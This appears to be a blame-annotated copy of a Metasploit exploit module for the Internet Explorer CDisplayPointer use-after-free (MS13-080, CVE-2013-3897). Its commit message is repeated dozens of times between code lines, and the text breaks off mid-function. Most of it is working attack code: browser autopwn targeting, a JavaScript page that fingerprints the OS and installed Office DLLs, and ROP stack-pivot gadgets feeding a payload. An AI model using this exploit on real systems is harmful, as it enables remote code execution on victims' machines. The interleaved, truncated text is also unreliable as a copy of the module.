Add MS13-080 (CVE-2013-3897): Internet Explorer CDisplayPointer Use-After-Free
This module exploits a vulnerability found in Microsoft Internet Explorer.
It was originally found being exploited in the wild targeting Japanese and
Korean IE8 users on Windows XP, around the same time frame as CVE-2013-3893,
except this was kept out of the public eye by multiple research companies and
the vendor until the October patch release.
This issue is a use-after-free vulnerability in CDisplayPointer via the use of
a "onpropertychange" event handler. To setup the appropriate buggy conditions,
we first craft the DOM tree in a specific order, where a CBlockElement comes after
the CTextArea element. If we use a select() function for the CTextArea element,
two important things will happen: a CDisplayPointer object will be created for
CTextArea, and it will also trigger another event called "onselect". The "onselect"
event will allow us to setup for the actual event handler we want to abuse -
the "onpropertychange" event. Since the CBlockElement is a child of CTextArea,
if we do a node swap of CBlockElement in "onselect", this will trigger
"onpropertychange". During "onpropertychange" event handling, a free of the
CDisplayPointer object can be forced by using an "Unslect" (other approaches
also apply), but a reference of this freed memory will still be kept by
CDoc::ScrollPointerIntoView, specifically after the CDoc::GetLineInfo call,
because it is still trying to use that to update CDisplayPointer's position.
When this invalid reference arrives in QIClassID, a crash finally occurs due to
accessing the freed memory. By controling this freed memory, it is possible to
achieve arbitrary code execution under the context of the user.
2013-10-12 18:01:17 +00:00
|
|
|
##
|
2013-10-15 18:50:46 +00:00
|
|
|
# This module requires Metasploit: http//metasploit.com/download
|
|
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
Add MS13-080 (CVE-2013-3897): Internet Explorer CDisplayPointer Use-After-Free
This module exploits a vulnerability found in Microsoft Internet Explorer.
It was originally found being exploited in the wild targeting Japanese and
Korean IE8 users on Windows XP, around the same time frame as CVE-2013-3893,
except this was kept out of the public eye by multiple research companies and
the vendor until the October patch release.
This issue is a use-after-free vulnerability in CDisplayPointer via the use of
a "onpropertychange" event handler. To setup the appropriate buggy conditions,
we first craft the DOM tree in a specific order, where a CBlockElement comes after
the CTextArea element. If we use a select() function for the CTextArea element,
two important things will happen: a CDisplayPointer object will be created for
CTextArea, and it will also trigger another event called "onselect". The "onselect"
event will allow us to setup for the actual event handler we want to abuse -
the "onpropertychange" event. Since the CBlockElement is a child of CTextArea,
if we do a node swap of CBlockElement in "onselect", this will trigger
"onpropertychange". During "onpropertychange" event handling, a free of the
CDisplayPointer object can be forced by using an "Unslect" (other approaches
also apply), but a reference of this freed memory will still be kept by
CDoc::ScrollPointerIntoView, specifically after the CDoc::GetLineInfo call,
because it is still trying to use that to update CDisplayPointer's position.
When this invalid reference arrives in QIClassID, a crash finally occurs due to
accessing the freed memory. By controling this freed memory, it is possible to
achieve arbitrary code execution under the context of the user.
2013-10-12 18:01:17 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
|
|
|
Rank = NormalRanking
|
|
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::HttpServer::HTML
|
|
|
|
|
include Msf::Exploit::RopDb
|
|
|
|
|
include Msf::Exploit::Remote::BrowserAutopwn
|
|
|
|
|
|
|
|
|
|
autopwn_info({
|
|
|
|
|
:ua_name => HttpClients::IE,
|
|
|
|
|
:ua_minver => "8.0",
|
|
|
|
|
:ua_maxver => "8.0",
|
|
|
|
|
:javascript => true,
|
|
|
|
|
:os_name => OperatingSystems::WINDOWS,
|
|
|
|
|
:rank => NormalRanking
|
|
|
|
|
})
|
|
|
|
|
|
|
|
|
|
def initialize(info={})
|
|
|
|
|
super(update_info(info,
|
|
|
|
|
'Name' => "MS13-080 Microsoft Internet Explorer CDisplayPointer Use-After-Free",
|
|
|
|
|
'Description' => %q{
|
|
|
|
|
This module exploits a vulnerability found in Microsoft Internet Explorer. It was originally
|
|
|
|
|
found being exploited in the wild targeting Japanese and Korean IE8 users on Windows XP,
|
|
|
|
|
around the same time frame as CVE-2013-3893, except this was kept out of the public eye by
|
|
|
|
|
multiple research companies and the vendor until the October patch release.
|
|
|
|
|
|
|
|
|
|
This issue is a use-after-free vulnerability in CDisplayPointer via the use of a
|
2013-10-14 20:17:39 +00:00
|
|
|
"onpropertychange" event handler. To set up the appropriate buggy conditions, we first craft
|
Add MS13-080 (CVE-2013-3897): Internet Explorer CDisplayPointer Use-After-Free
This module exploits a vulnerability found in Microsoft Internet Explorer.
It was originally found being exploited in the wild targeting Japanese and
Korean IE8 users on Windows XP, around the same time frame as CVE-2013-3893,
except this was kept out of the public eye by multiple research companies and
the vendor until the October patch release.
This issue is a use-after-free vulnerability in CDisplayPointer via the use of
a "onpropertychange" event handler. To setup the appropriate buggy conditions,
we first craft the DOM tree in a specific order, where a CBlockElement comes after
the CTextArea element. If we use a select() function for the CTextArea element,
two important things will happen: a CDisplayPointer object will be created for
CTextArea, and it will also trigger another event called "onselect". The "onselect"
event will allow us to setup for the actual event handler we want to abuse -
the "onpropertychange" event. Since the CBlockElement is a child of CTextArea,
if we do a node swap of CBlockElement in "onselect", this will trigger
"onpropertychange". During "onpropertychange" event handling, a free of the
CDisplayPointer object can be forced by using an "Unslect" (other approaches
also apply), but a reference of this freed memory will still be kept by
CDoc::ScrollPointerIntoView, specifically after the CDoc::GetLineInfo call,
because it is still trying to use that to update CDisplayPointer's position.
When this invalid reference arrives in QIClassID, a crash finally occurs due to
accessing the freed memory. By controling this freed memory, it is possible to
achieve arbitrary code execution under the context of the user.
2013-10-12 18:01:17 +00:00
|
|
|
the DOM tree in a specific order, where a CBlockElement comes after the CTextArea element.
|
|
|
|
|
If we use a select() function for the CTextArea element, two important things will happen:
|
|
|
|
|
a CDisplayPointer object will be created for CTextArea, and it will also trigger another
|
2013-10-14 20:17:39 +00:00
|
|
|
event called "onselect". The "onselect" event will allow us to set up for the actual event
|
Add MS13-080 (CVE-2013-3897): Internet Explorer CDisplayPointer Use-After-Free
This module exploits a vulnerability found in Microsoft Internet Explorer.
It was originally found being exploited in the wild targeting Japanese and
Korean IE8 users on Windows XP, around the same time frame as CVE-2013-3893,
except this was kept out of the public eye by multiple research companies and
the vendor until the October patch release.
This issue is a use-after-free vulnerability in CDisplayPointer via the use of
a "onpropertychange" event handler. To setup the appropriate buggy conditions,
we first craft the DOM tree in a specific order, where a CBlockElement comes after
the CTextArea element. If we use a select() function for the CTextArea element,
two important things will happen: a CDisplayPointer object will be created for
CTextArea, and it will also trigger another event called "onselect". The "onselect"
event will allow us to setup for the actual event handler we want to abuse -
the "onpropertychange" event. Since the CBlockElement is a child of CTextArea,
if we do a node swap of CBlockElement in "onselect", this will trigger
"onpropertychange". During "onpropertychange" event handling, a free of the
CDisplayPointer object can be forced by using an "Unslect" (other approaches
also apply), but a reference of this freed memory will still be kept by
CDoc::ScrollPointerIntoView, specifically after the CDoc::GetLineInfo call,
because it is still trying to use that to update CDisplayPointer's position.
When this invalid reference arrives in QIClassID, a crash finally occurs due to
accessing the freed memory. By controling this freed memory, it is possible to
achieve arbitrary code execution under the context of the user.
2013-10-12 18:01:17 +00:00
|
|
|
handler we want to abuse - the "onpropertychange" event. Since the CBlockElement is a child
|
|
|
|
|
of CTextArea, if we do a node swap of CBlockElement in "onselect", this will trigger
|
|
|
|
|
"onpropertychange". During "onpropertychange" event handling, a free of the CDisplayPointer
|
|
|
|
|
object can be forced by using an "Unslect" (other approaches also apply), but a reference
|
|
|
|
|
of this freed memory will still be kept by CDoc::ScrollPointerIntoView, specifically after
|
|
|
|
|
the CDoc::GetLineInfo call, because it is still trying to use that to update
|
|
|
|
|
CDisplayPointer's position. When this invalid reference arrives in QIClassID, a crash
|
2013-10-12 18:24:36 +00:00
|
|
|
finally occurs due to accessing the freed memory. By controlling this freed memory, it is
|
Add MS13-080 (CVE-2013-3897): Internet Explorer CDisplayPointer Use-After-Free
This module exploits a vulnerability found in Microsoft Internet Explorer.
It was originally found being exploited in the wild targeting Japanese and
Korean IE8 users on Windows XP, around the same time frame as CVE-2013-3893,
except this was kept out of the public eye by multiple research companies and
the vendor until the October patch release.
This issue is a use-after-free vulnerability in CDisplayPointer via the use of
a "onpropertychange" event handler. To setup the appropriate buggy conditions,
we first craft the DOM tree in a specific order, where a CBlockElement comes after
the CTextArea element. If we use a select() function for the CTextArea element,
two important things will happen: a CDisplayPointer object will be created for
CTextArea, and it will also trigger another event called "onselect". The "onselect"
event will allow us to setup for the actual event handler we want to abuse -
the "onpropertychange" event. Since the CBlockElement is a child of CTextArea,
if we do a node swap of CBlockElement in "onselect", this will trigger
"onpropertychange". During "onpropertychange" event handling, a free of the
CDisplayPointer object can be forced by using an "Unslect" (other approaches
also apply), but a reference of this freed memory will still be kept by
CDoc::ScrollPointerIntoView, specifically after the CDoc::GetLineInfo call,
because it is still trying to use that to update CDisplayPointer's position.
When this invalid reference arrives in QIClassID, a crash finally occurs due to
accessing the freed memory. By controling this freed memory, it is possible to
achieve arbitrary code execution under the context of the user.
2013-10-12 18:01:17 +00:00
|
|
|
possible to achieve arbitrary code execution under the context of the user.
|
|
|
|
|
},
|
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
|
'Author' =>
|
|
|
|
|
[
|
|
|
|
|
'Unknown', # Exploit in the wild
|
|
|
|
|
'sinn3r' # Metasploit
|
|
|
|
|
],
|
|
|
|
|
'References' =>
|
|
|
|
|
[
|
|
|
|
|
[ 'CVE', '2013-3897' ],
|
|
|
|
|
[ 'OSVDB', '98207' ],
|
|
|
|
|
[ 'MSB', 'MS13-080' ],
|
|
|
|
|
[ 'URL', 'http://blogs.technet.com/b/srd/archive/2013/10/08/ms13-080-addresses-two-vulnerabilities-under-limited-targeted-attacks.aspx' ],
|
|
|
|
|
[ 'URL', 'http://jsunpack.jeek.org/?report=847afb154a4e876d61f93404842d9a1b93a774fb' ]
|
|
|
|
|
],
|
|
|
|
|
'Platform' => 'win',
|
|
|
|
|
'Targets' =>
|
|
|
|
|
[
|
|
|
|
|
[ 'Automatic', {} ],
|
2013-10-16 20:56:34 +00:00
|
|
|
[ 'IE 7 on Windows XP SP3', {} ],
|
Add MS13-080 (CVE-2013-3897): Internet Explorer CDisplayPointer Use-After-Free
This module exploits a vulnerability found in Microsoft Internet Explorer.
It was originally found being exploited in the wild targeting Japanese and
Korean IE8 users on Windows XP, around the same time frame as CVE-2013-3893,
except this was kept out of the public eye by multiple research companies and
the vendor until the October patch release.
This issue is a use-after-free vulnerability in CDisplayPointer via the use of
a "onpropertychange" event handler. To setup the appropriate buggy conditions,
we first craft the DOM tree in a specific order, where a CBlockElement comes after
the CTextArea element. If we use a select() function for the CTextArea element,
two important things will happen: a CDisplayPointer object will be created for
CTextArea, and it will also trigger another event called "onselect". The "onselect"
event will allow us to setup for the actual event handler we want to abuse -
the "onpropertychange" event. Since the CBlockElement is a child of CTextArea,
if we do a node swap of CBlockElement in "onselect", this will trigger
"onpropertychange". During "onpropertychange" event handling, a free of the
CDisplayPointer object can be forced by using an "Unslect" (other approaches
also apply), but a reference of this freed memory will still be kept by
CDoc::ScrollPointerIntoView, specifically after the CDoc::GetLineInfo call,
because it is still trying to use that to update CDisplayPointer's position.
When this invalid reference arrives in QIClassID, a crash finally occurs due to
accessing the freed memory. By controling this freed memory, it is possible to
achieve arbitrary code execution under the context of the user.
2013-10-12 18:01:17 +00:00
|
|
|
[ 'IE 8 on Windows XP SP3', {} ],
|
2013-10-16 20:56:34 +00:00
|
|
|
[ 'IE 8 on Windows 7', {} ],
|
Add MS13-080 (CVE-2013-3897): Internet Explorer CDisplayPointer Use-After-Free
This module exploits a vulnerability found in Microsoft Internet Explorer.
It was originally found being exploited in the wild targeting Japanese and
Korean IE8 users on Windows XP, around the same time frame as CVE-2013-3893,
except this was kept out of the public eye by multiple research companies and
the vendor until the October patch release.
This issue is a use-after-free vulnerability in CDisplayPointer via the use of
a "onpropertychange" event handler. To setup the appropriate buggy conditions,
we first craft the DOM tree in a specific order, where a CBlockElement comes after
the CTextArea element. If we use a select() function for the CTextArea element,
two important things will happen: a CDisplayPointer object will be created for
CTextArea, and it will also trigger another event called "onselect". The "onselect"
event will allow us to setup for the actual event handler we want to abuse -
the "onpropertychange" event. Since the CBlockElement is a child of CTextArea,
if we do a node swap of CBlockElement in "onselect", this will trigger
"onpropertychange". During "onpropertychange" event handling, a free of the
CDisplayPointer object can be forced by using an "Unslect" (other approaches
also apply), but a reference of this freed memory will still be kept by
CDoc::ScrollPointerIntoView, specifically after the CDoc::GetLineInfo call,
because it is still trying to use that to update CDisplayPointer's position.
When this invalid reference arrives in QIClassID, a crash finally occurs due to
accessing the freed memory. By controling this freed memory, it is possible to
achieve arbitrary code execution under the context of the user.
2013-10-12 18:01:17 +00:00
|
|
|
],
|
|
|
|
|
'Payload' =>
|
|
|
|
|
{
|
|
|
|
|
'BadChars' => "\x00",
|
|
|
|
|
'PrependEncoder' => "\x81\xc4\x0c\xfe\xff\xff" # add esp, -500
|
|
|
|
|
},
|
|
|
|
|
'DefaultOptions' =>
|
|
|
|
|
{
|
2013-10-16 14:24:46 +00:00
|
|
|
#'PrependMigrate' => true,
|
Add MS13-080 (CVE-2013-3897): Internet Explorer CDisplayPointer Use-After-Free
This module exploits a vulnerability found in Microsoft Internet Explorer.
It was originally found being exploited in the wild targeting Japanese and
Korean IE8 users on Windows XP, around the same time frame as CVE-2013-3893,
except this was kept out of the public eye by multiple research companies and
the vendor until the October patch release.
This issue is a use-after-free vulnerability in CDisplayPointer via the use of
a "onpropertychange" event handler. To setup the appropriate buggy conditions,
we first craft the DOM tree in a specific order, where a CBlockElement comes after
the CTextArea element. If we use a select() function for the CTextArea element,
two important things will happen: a CDisplayPointer object will be created for
CTextArea, and it will also trigger another event called "onselect". The "onselect"
event will allow us to setup for the actual event handler we want to abuse -
the "onpropertychange" event. Since the CBlockElement is a child of CTextArea,
if we do a node swap of CBlockElement in "onselect", this will trigger
"onpropertychange". During "onpropertychange" event handling, a free of the
CDisplayPointer object can be forced by using an "Unslect" (other approaches
also apply), but a reference of this freed memory will still be kept by
CDoc::ScrollPointerIntoView, specifically after the CDoc::GetLineInfo call,
because it is still trying to use that to update CDisplayPointer's position.
When this invalid reference arrives in QIClassID, a crash finally occurs due to
accessing the freed memory. By controling this freed memory, it is possible to
achieve arbitrary code execution under the context of the user.
2013-10-12 18:01:17 +00:00
|
|
|
'InitialAutoRunScript' => 'migrate -f'
|
|
|
|
|
},
|
|
|
|
|
'Privileged' => false,
|
|
|
|
|
# Jsunpack first received a sample to analyze on Sep 12 2013.
|
|
|
|
|
# MSFT patched this on Oct 8th.
|
|
|
|
|
'DisclosureDate' => "Oct 08 2013",
|
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
def get_check_html
|
|
|
|
|
%Q|<html>
|
|
|
|
|
<script>
|
2013-10-16 04:37:11 +00:00
|
|
|
#{js_base64}
|
Add MS13-080 (CVE-2013-3897): Internet Explorer CDisplayPointer Use-After-Free
This module exploits a vulnerability found in Microsoft Internet Explorer.
It was originally found being exploited in the wild targeting Japanese and
Korean IE8 users on Windows XP, around the same time frame as CVE-2013-3893,
except this was kept out of the public eye by multiple research companies and
the vendor until the October patch release.
This issue is a use-after-free vulnerability in CDisplayPointer via the use of
a "onpropertychange" event handler. To setup the appropriate buggy conditions,
we first craft the DOM tree in a specific order, where a CBlockElement comes after
the CTextArea element. If we use a select() function for the CTextArea element,
two important things will happen: a CDisplayPointer object will be created for
CTextArea, and it will also trigger another event called "onselect". The "onselect"
event will allow us to setup for the actual event handler we want to abuse -
the "onpropertychange" event. Since the CBlockElement is a child of CTextArea,
if we do a node swap of CBlockElement in "onselect", this will trigger
"onpropertychange". During "onpropertychange" event handling, a free of the
CDisplayPointer object can be forced by using an "Unslect" (other approaches
also apply), but a reference of this freed memory will still be kept by
CDoc::ScrollPointerIntoView, specifically after the CDoc::GetLineInfo call,
because it is still trying to use that to update CDisplayPointer's position.
When this invalid reference arrives in QIClassID, a crash finally occurs due to
accessing the freed memory. By controling this freed memory, it is possible to
achieve arbitrary code execution under the context of the user.
2013-10-12 18:01:17 +00:00
|
|
|
#{js_os_detect}
|
|
|
|
|
|
|
|
|
|
function os() {
|
|
|
|
|
var detect = window.os_detect.getVersion();
|
|
|
|
|
var os_string = detect.os_name + " " + detect.os_flavor + " " + detect.ua_name + " " + detect.ua_version;
|
|
|
|
|
return os_string;
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
function dll() {
|
|
|
|
|
var checka = 0;
|
|
|
|
|
var checkb = 0;
|
|
|
|
|
try {
|
|
|
|
|
checka = new ActiveXObject("SharePoint.OpenDocuments.4");
|
|
|
|
|
} catch (e) {}
|
|
|
|
|
|
|
|
|
|
try {
|
|
|
|
|
checkb = new ActiveXObject("SharePoint.OpenDocuments.3");
|
|
|
|
|
} catch (e) {}
|
|
|
|
|
|
|
|
|
|
if ((typeof checka) == "object" && (typeof checkb) == "object") {
|
|
|
|
|
try{location.href='ms-help://'} catch(e){}
|
2013-10-12 21:37:49 +00:00
|
|
|
return "#{@js_office_2010_str}";
|
Add MS13-080 (CVE-2013-3897): Internet Explorer CDisplayPointer Use-After-Free
This module exploits a vulnerability found in Microsoft Internet Explorer.
It was originally found being exploited in the wild targeting Japanese and
Korean IE8 users on Windows XP, around the same time frame as CVE-2013-3893,
except this was kept out of the public eye by multiple research companies and
the vendor until the October patch release.
This issue is a use-after-free vulnerability in CDisplayPointer via the use of
a "onpropertychange" event handler. To setup the appropriate buggy conditions,
we first craft the DOM tree in a specific order, where a CBlockElement comes after
the CTextArea element. If we use a select() function for the CTextArea element,
two important things will happen: a CDisplayPointer object will be created for
CTextArea, and it will also trigger another event called "onselect". The "onselect"
event will allow us to setup for the actual event handler we want to abuse -
the "onpropertychange" event. Since the CBlockElement is a child of CTextArea,
if we do a node swap of CBlockElement in "onselect", this will trigger
"onpropertychange". During "onpropertychange" event handling, a free of the
CDisplayPointer object can be forced by using an "Unslect" (other approaches
also apply), but a reference of this freed memory will still be kept by
CDoc::ScrollPointerIntoView, specifically after the CDoc::GetLineInfo call,
because it is still trying to use that to update CDisplayPointer's position.
When this invalid reference arrives in QIClassID, a crash finally occurs due to
accessing the freed memory. By controling this freed memory, it is possible to
achieve arbitrary code execution under the context of the user.
2013-10-12 18:01:17 +00:00
|
|
|
}
|
|
|
|
|
else if ((typeof checka) == "number" && (typeof checkb) == "object") {
|
|
|
|
|
try{location.href='ms-help://'} catch(e){}
|
2013-10-12 21:37:49 +00:00
|
|
|
return "#{@js_office_2007_str}";
|
Add MS13-080 (CVE-2013-3897): Internet Explorer CDisplayPointer Use-After-Free
This module exploits a vulnerability found in Microsoft Internet Explorer.
It was originally found being exploited in the wild targeting Japanese and
Korean IE8 users on Windows XP, around the same time frame as CVE-2013-3893,
except this was kept out of the public eye by multiple research companies and
the vendor until the October patch release.
This issue is a use-after-free vulnerability in CDisplayPointer via the use of
a "onpropertychange" event handler. To setup the appropriate buggy conditions,
we first craft the DOM tree in a specific order, where a CBlockElement comes after
the CTextArea element. If we use a select() function for the CTextArea element,
two important things will happen: a CDisplayPointer object will be created for
CTextArea, and it will also trigger another event called "onselect". The "onselect"
event will allow us to setup for the actual event handler we want to abuse -
the "onpropertychange" event. Since the CBlockElement is a child of CTextArea,
if we do a node swap of CBlockElement in "onselect", this will trigger
"onpropertychange". During "onpropertychange" event handling, a free of the
CDisplayPointer object can be forced by using an "Unslect" (other approaches
also apply), but a reference of this freed memory will still be kept by
CDoc::ScrollPointerIntoView, specifically after the CDoc::GetLineInfo call,
because it is still trying to use that to update CDisplayPointer's position.
When this invalid reference arrives in QIClassID, a crash finally occurs due to
accessing the freed memory. By controling this freed memory, it is possible to
achieve arbitrary code execution under the context of the user.
2013-10-12 18:01:17 +00:00
|
|
|
}
|
2013-10-12 21:37:49 +00:00
|
|
|
return "#{@js_default_str}";
|
Add MS13-080 (CVE-2013-3897): Internet Explorer CDisplayPointer Use-After-Free
This module exploits a vulnerability found in Microsoft Internet Explorer.
It was originally found being exploited in the wild targeting Japanese and
Korean IE8 users on Windows XP, around the same time frame as CVE-2013-3893,
except this was kept out of the public eye by multiple research companies and
the vendor until the October patch release.
This issue is a use-after-free vulnerability in CDisplayPointer via the use of
a "onpropertychange" event handler. To setup the appropriate buggy conditions,
we first craft the DOM tree in a specific order, where a CBlockElement comes after
the CTextArea element. If we use a select() function for the CTextArea element,
two important things will happen: a CDisplayPointer object will be created for
CTextArea, and it will also trigger another event called "onselect". The "onselect"
event will allow us to setup for the actual event handler we want to abuse -
the "onpropertychange" event. Since the CBlockElement is a child of CTextArea,
if we do a node swap of CBlockElement in "onselect", this will trigger
"onpropertychange". During "onpropertychange" event handling, a free of the
CDisplayPointer object can be forced by using an "Unslect" (other approaches
also apply), but a reference of this freed memory will still be kept by
CDoc::ScrollPointerIntoView, specifically after the CDoc::GetLineInfo call,
because it is still trying to use that to update CDisplayPointer's position.
When this invalid reference arrives in QIClassID, a crash finally occurs due to
accessing the freed memory. By controling this freed memory, it is possible to
achieve arbitrary code execution under the context of the user.
2013-10-12 18:01:17 +00:00
|
|
|
}
|
|
|
|
|
|
|
|
|
|
window.onload = function() {
|
2013-10-16 20:56:34 +00:00
|
|
|
window.location = "#{get_uri.chomp("/")}/search?o=" + escape(Base64.encode(os())) + "&d=" + dll();
|
Add MS13-080 (CVE-2013-3897): Internet Explorer CDisplayPointer Use-After-Free
This module exploits a vulnerability found in Microsoft Internet Explorer.
It was originally found being exploited in the wild targeting Japanese and
Korean IE8 users on Windows XP, around the same time frame as CVE-2013-3893,
except this was kept out of the public eye by multiple research companies and
the vendor until the October patch release.
This issue is a use-after-free vulnerability in CDisplayPointer via the use of
a "onpropertychange" event handler. To setup the appropriate buggy conditions,
we first craft the DOM tree in a specific order, where a CBlockElement comes after
the CTextArea element. If we use a select() function for the CTextArea element,
two important things will happen: a CDisplayPointer object will be created for
CTextArea, and it will also trigger another event called "onselect". The "onselect"
event will allow us to setup for the actual event handler we want to abuse -
the "onpropertychange" event. Since the CBlockElement is a child of CTextArea,
if we do a node swap of CBlockElement in "onselect", this will trigger
"onpropertychange". During "onpropertychange" event handling, a free of the
CDisplayPointer object can be forced by using an "Unslect" (other approaches
also apply), but a reference of this freed memory will still be kept by
CDoc::ScrollPointerIntoView, specifically after the CDoc::GetLineInfo call,
because it is still trying to use that to update CDisplayPointer's position.
When this invalid reference arrives in QIClassID, a crash finally occurs due to
accessing the freed memory. By controling this freed memory, it is possible to
achieve arbitrary code execution under the context of the user.
2013-10-12 18:01:17 +00:00
|
|
|
}
|
|
|
|
|
</script>
|
|
|
|
|
</html>
|
|
|
|
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
def junk
|
|
|
|
|
rand_text_alpha(4).unpack("V")[0].to_i
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
def get_payload(target_info)
|
|
|
|
|
rop_payload = ''
|
2013-10-12 21:37:49 +00:00
|
|
|
os = target_info[:os]
|
|
|
|
|
dll_used = ''
|
Add MS13-080 (CVE-2013-3897): Internet Explorer CDisplayPointer Use-After-Free
This module exploits a vulnerability found in Microsoft Internet Explorer.
It was originally found being exploited in the wild targeting Japanese and
Korean IE8 users on Windows XP, around the same time frame as CVE-2013-3893,
except this was kept out of the public eye by multiple research companies and
the vendor until the October patch release.
This issue is a use-after-free vulnerability in CDisplayPointer via the use of
a "onpropertychange" event handler. To setup the appropriate buggy conditions,
we first craft the DOM tree in a specific order, where a CBlockElement comes after
the CTextArea element. If we use a select() function for the CTextArea element,
two important things will happen: a CDisplayPointer object will be created for
CTextArea, and it will also trigger another event called "onselect". The "onselect"
event will allow us to setup for the actual event handler we want to abuse -
the "onpropertychange" event. Since the CBlockElement is a child of CTextArea,
if we do a node swap of CBlockElement in "onselect", this will trigger
"onpropertychange". During "onpropertychange" event handling, a free of the
CDisplayPointer object can be forced by using an "Unslect" (other approaches
also apply), but a reference of this freed memory will still be kept by
CDoc::ScrollPointerIntoView, specifically after the CDoc::GetLineInfo call,
because it is still trying to use that to update CDisplayPointer's position.
When this invalid reference arrives in QIClassID, a crash finally occurs due to
accessing the freed memory. By controling this freed memory, it is possible to
achieve arbitrary code execution under the context of the user.
2013-10-12 18:01:17 +00:00
|
|
|
|
|
|
|
|
case target_info[:dll]
|
2013-10-12 21:37:49 +00:00
|
|
|
when @js_office_2007_str
|
|
|
|
|
dll_used = "Office 2007"
|
|
|
|
|
|
Add MS13-080 (CVE-2013-3897): Internet Explorer CDisplayPointer Use-After-Free
This module exploits a vulnerability found in Microsoft Internet Explorer.
It was originally found being exploited in the wild targeting Japanese and
Korean IE8 users on Windows XP, around the same time frame as CVE-2013-3893,
except this was kept out of the public eye by multiple research companies and
the vendor until the October patch release.
This issue is a use-after-free vulnerability in CDisplayPointer via the use of
a "onpropertychange" event handler. To setup the appropriate buggy conditions,
we first craft the DOM tree in a specific order, where a CBlockElement comes after
the CTextArea element. If we use a select() function for the CTextArea element,
two important things will happen: a CDisplayPointer object will be created for
CTextArea, and it will also trigger another event called "onselect". The "onselect"
event will allow us to setup for the actual event handler we want to abuse -
the "onpropertychange" event. Since the CBlockElement is a child of CTextArea,
if we do a node swap of CBlockElement in "onselect", this will trigger
"onpropertychange". During "onpropertychange" event handling, a free of the
CDisplayPointer object can be forced by using an "Unslect" (other approaches
also apply), but a reference of this freed memory will still be kept by
CDoc::ScrollPointerIntoView, specifically after the CDoc::GetLineInfo call,
because it is still trying to use that to update CDisplayPointer's position.
When this invalid reference arrives in QIClassID, a crash finally occurs due to
accessing the freed memory. By controling this freed memory, it is possible to
achieve arbitrary code execution under the context of the user.
2013-10-12 18:01:17 +00:00
|
|
|
pivot =
|
|
|
|
|
[
|
|
|
|
|
0x51c2213f, # xchg eax,esp # popad # add byte ptr [eax],al # retn 4
|
|
|
|
|
junk, # ESI due to POPAD
|
|
|
|
|
junk, # EBP due to POPAD
|
|
|
|
|
junk,
|
|
|
|
|
junk, # EBX due to POPAD
|
|
|
|
|
junk, # EDX due to POPAD
|
|
|
|
|
junk, # ECX due to POPAD
|
|
|
|
|
0x51c5d0a7, # EAX due to POPAD (must be writable for the add instruction)
|
|
|
|
|
0x51bd81db, # ROP NOP
|
|
|
|
|
junk # Padding for the retn 4 from the stack pivot
|
|
|
|
|
].pack("V*")
|
|
|
|
|
|
|
|
|
|
rop_payload = generate_rop_payload('hxds', payload.encoded, {'target'=>'2007', 'pivot'=>pivot})
|
|
|
|
|
|
2013-10-12 21:37:49 +00:00
|
|
|
when @js_office_2010_str
|
|
|
|
|
dll_used = "Office 2010"
|
|
|
|
|
|
Add MS13-080 (CVE-2013-3897): Internet Explorer CDisplayPointer Use-After-Free
This module exploits a vulnerability found in Microsoft Internet Explorer.
It was originally found being exploited in the wild targeting Japanese and
Korean IE8 users on Windows XP, around the same time frame as CVE-2013-3893,
except this was kept out of the public eye by multiple research companies and
the vendor until the October patch release.
This issue is a use-after-free vulnerability in CDisplayPointer via the use of
a "onpropertychange" event handler. To setup the appropriate buggy conditions,
we first craft the DOM tree in a specific order, where a CBlockElement comes after
the CTextArea element. If we use a select() function for the CTextArea element,
two important things will happen: a CDisplayPointer object will be created for
CTextArea, and it will also trigger another event called "onselect". The "onselect"
event will allow us to setup for the actual event handler we want to abuse -
the "onpropertychange" event. Since the CBlockElement is a child of CTextArea,
if we do a node swap of CBlockElement in "onselect", this will trigger
"onpropertychange". During "onpropertychange" event handling, a free of the
CDisplayPointer object can be forced by using an "Unslect" (other approaches
also apply), but a reference of this freed memory will still be kept by
CDoc::ScrollPointerIntoView, specifically after the CDoc::GetLineInfo call,
because it is still trying to use that to update CDisplayPointer's position.
When this invalid reference arrives in QIClassID, a crash finally occurs due to
accessing the freed memory. By controling this freed memory, it is possible to
achieve arbitrary code execution under the context of the user.
2013-10-12 18:01:17 +00:00
|
|
|
pivot =
|
|
|
|
|
[
|
|
|
|
|
0x51c00e64, # xchg eax, esp; add eax, [eax]; add esp, 10; mov eax,esi; pop esi; pop ebp; retn 4
|
|
|
|
|
junk,
|
|
|
|
|
junk,
|
|
|
|
|
junk,
|
|
|
|
|
junk,
|
|
|
|
|
junk,
|
|
|
|
|
0x51BE7E9A, # ROP NOP
|
|
|
|
|
junk # Padding for the retn 4 from the stack pivot
|
|
|
|
|
].pack("V*")
|
|
|
|
|
|
|
|
|
|
rop_payload = generate_rop_payload('hxds', payload.encoded, {'target'=>'2010', 'pivot'=>pivot})
|
|
|
|
|
|
2013-10-12 21:37:49 +00:00
|
|
|
when @js_default_str
|
Add MS13-080 (CVE-2013-3897): Internet Explorer CDisplayPointer Use-After-Free
This module exploits a vulnerability found in Microsoft Internet Explorer.
It was originally found being exploited in the wild targeting Japanese and
Korean IE8 users on Windows XP, around the same time frame as CVE-2013-3893,
except this was kept out of the public eye by multiple research companies and
the vendor until the October patch release.
This issue is a use-after-free vulnerability in CDisplayPointer via the use of
a "onpropertychange" event handler. To setup the appropriate buggy conditions,
we first craft the DOM tree in a specific order, where a CBlockElement comes after
the CTextArea element. If we use a select() function for the CTextArea element,
two important things will happen: a CDisplayPointer object will be created for
CTextArea, and it will also trigger another event called "onselect". The "onselect"
event will allow us to setup for the actual event handler we want to abuse -
the "onpropertychange" event. Since the CBlockElement is a child of CTextArea,
if we do a node swap of CBlockElement in "onselect", this will trigger
"onpropertychange". During "onpropertychange" event handling, a free of the
CDisplayPointer object can be forced by using an "Unslect" (other approaches
also apply), but a reference of this freed memory will still be kept by
CDoc::ScrollPointerIntoView, specifically after the CDoc::GetLineInfo call,
because it is still trying to use that to update CDisplayPointer's position.
When this invalid reference arrives in QIClassID, a crash finally occurs due to
accessing the freed memory. By controling this freed memory, it is possible to
achieve arbitrary code execution under the context of the user.
2013-10-12 18:01:17 +00:00
|
|
|
